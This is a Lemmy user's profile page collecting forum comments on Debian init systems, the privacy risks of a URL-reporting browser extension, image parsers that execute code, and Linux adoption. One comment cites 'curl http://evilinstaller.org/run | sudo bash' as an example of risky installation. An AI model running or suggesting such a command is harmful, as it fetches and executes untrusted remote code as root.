lambalicious @ lambalicious @lemmy.sdf.org

**I write English / Escribo en Español.**

---

Read more

Posts

20

Comments

1,048

Joined

2 yr. ago

Qué sutil la admisión de fascismo de su parte.

Because it was not always the case that sysvinit was supported - things were sorta "accidentally hazy" for a while. There was a time (I think during Debian 9 and 10) that systemd not only was the default, but was also enforcedly linked against a large part of the stack (you couldn't have a desktop environment, PulseAudio or NetworkManager without systemd, for example).

This led to the rise of projects like Devuan, that provide a working system that installs without systemd by default; Antix's nosystemd repo, which allows to install components of the Debian stack without the enforced systemd dependency; and later libam-elogind-compat which aided shimming some of systemd's requirements under elogind.

Nowadays at least, the only hard part of not using systemd in Debian is 1.- switching (from or to) seems to require rescue mode and 2.- you lose some of the container management goodies (for eg.: Podman services).

None. On Alpine you can only use OpenRC and on Debian you can only use systemd. Most distros don’t let you change out the init system. If you want systemdless Debian look into Devuan.

Fake news. On Debian you can use both sysvinit and openrc (I have six servers on sysvinit, tho I do actually intend to shift them to systemd later mostly because of the container management goodies).

Judging from this post, I would say you should not be looking to change out your init system

Mostly agreeing here. For selfhosting the init system matters barely any, since past the default distro setup one would be doing most of everything with Docker, Podman, etc. At that point, none of the usual Linux religious wars matter much (you can perfectl edit a compose file with nano).

Sending the current URL and directly from your own IP too is quite the privacy hurdle already. I've already posted on what kind of things could be done to improve this, but first, a notice.

Your README says in the Privacy section:

Does not track your browsing

On the current implementation, this should be changed to:

Enables unverified third parties to track your browsing data

As that honesty is quite important.

As for measures that could be taken to improve on this issue, I have three suggestions (I might Issue Tracker them to the codeberg later, if I can find my credentials XD)

• Set up a uBO-stye control pane that allows to set this on or off per-domain or per-site. Bonus points if it allows for per-site specific on which lemmy instances to use the same way as uBO's "3p" Custom Rules does. This already prevents a number of undesirable use cases, such as automatically sending LAN / non-DNS names to third parties when they can't really be searched for anyways.
• Anonimyzing assist: Allow for sending only the global context of the visited site (eg.: only the domain) instead of the full URL.
• Anonimyzing assist: Allow to cache requests to send them later / send them in batches, to avoid clock-based / timezone-based tracking attacks.
• Anonimyzing assist: Allow for the browser-specific request being sent through a proxy or relay, so that IP origin information is not leaked. (I think this only really makes sense for users not logged-in?)

Yeah. Interesting to think if there are ways to get around that problem.

At a first flance, perhaps a uBlockOrigin-style control pane with per-domain toggle, so that for example you can send the info only when browsing a specific domain (let's say, a news site; that'd be interesting to find discussion in Lemmy of). This would also prevent the issue of sending URLs that are not internet-wide (eg.: are on a localnet resolver, or an intranet).

As well as the abiity with an option send the request through a relay or proxy, to remove IP origin information that can be used to build the profile.

Newlines and paragraph breaks have my ENTIRE support!

The Lemmy extension allows you to see and link directly to lemmy discussions on whatever instance you like (multiple even) if you’re on a site/news article/blog post/whatever. If the extension sees that this has been posted on Lemmy, it will provide you with a direct link to whatever discussions it finds based on the current URL you’re on.

So wait, it reports all browsing activity you do to third parties to search for matching Lemmy posts?

Bad, bad, system.

You've completely lost the point of why we're here in Lemmy in the first place. Restrain or remove this feature ASAP.

Sure but that requires the given parser (the web browser, the image lib, etc) to arbitrarily run code in the first place. Which... well, why? It's an image, not a program. Treat it as an image. Hence "only an idiot" writes an image parser to actually execute an image (same with eg.: only an idiot would write an MP3 parser that arbitrarily executes an MP3).

Even if an SVG had JS in it, as an image-proccessing lib the correct method would be not to try to run the JS in your SVG by yourself but rather just hand it down to whoever is processibg JS at the moment (which would be, well, the browser context and its sandbox).

That makes sense.

You had given me nightmares for a moment. :p

Esperanto variation on Shava

Interesting, tell me more.

Also, quickie check says there is a block named "Shavian" (not "Shavan") in Unicode at 0x00010450, but I wouldn't know if it's feature-complete or anything.

I mean, it's Debian. To a point I can understand it.

And, from what I can get from the thread, it's not really a problem that the package exists - rather that the software is packaged and distributed unpatched.

Don't thank me yet, as I said, this is the first time I've ever heard of this kind of bork, so I'm hoping this would fix / sidestep it! :p

It works both ways, which ultimately is the issue.

Windows is basically: download the installer, run it, and boom you’re good to go.

Thank you for installing my virus.

But yeah, I'd basically say that's an antifeature that ahs been oversold.

And even then, it's not even the only one. Macniel already pointed out five ways, and I'm rather sure there's three or four more (I'm p sure Windows has its own equivalent in Powershell to curl http://evilinstaller.org/run | sudo bash, for one).

I think LibreOffice should just be a PWA.

LO already has enough issues wth enabling the Java stuff in the menus, the last thing we need is for it to become a laravel react svelte kitten gemini poob framework-of-the-week POS.

Problems Linux itself has to overcome? Maybe two or three.

• Hopefully I'm mistaken but apparently accessibility has been going down the last few years.
• Settings that make sense to change should be exposed more adequately. No one should ever get a visual toggle to eg.: disable SELinux on their systray, but controls to adjust color profiles and screen "temperature" management should be more reachable and clear.

Problems that are mistakenly attributed to Linux but that are actually for manufacturers, sellers and provisioners to take responsibility for and overcome? A good lot.

• Sellers have to sell machines with Linux preinstalled. Getting a machine Linux-ready from factory is easy, but it's only the commerces who can actually place them on a, ta know, selling point.
• Sellers or manufacturers should actually advertise when their device works with Linux. If people have to guess whether their next buy even boots / plugs in, that's a hindrance to commerce.
• Hardware manufacturers are not providing adequate Linux support (FizzyOrange mentions the eternal issue of laptop battery management; Naiboftabr mentions stuff like "audio stops working").
• Developers have to get back to developing for Linux natively (rather than eg.: "develop for a trimmed down Windows version that runs on Steam").
• Developers of Linux itself need to provide a better "rescue mode" for when things inevitably go wrong. Something that boots up to a "guaranteed working state" that still has workable UI but with most or all customizations disabled.

A container runs the utility in an isolated environment without having to alter your base system's packages, dependencies, etc. Assuming the bork that necessitates a reboot is not a kernel or hardware issue, this would mean that if you get hit with that issue again in a container, what dies is the container itself, rather than your system as a whole. So you're isolating 1.- package management 2.- network config and (potentially) 3.- "blast radius".

(That said, this is the first time I've ever heard that Proton would bork the networking to the point of requiring a whole system reboot.)

The fediverse has literally linked the issue, there's a CVE and a Debian Bugs thread. Like, sure, not all bad news spread fast but to go from there to "insane" shows your primary platform is probably tiktok.

It's making the rounds on the Fediverse. Example. And the bugtracker shows this thread where the very first responses to the issue raised already promote leaking this data as a "feature".

Only an idiot parses an image file as executable code.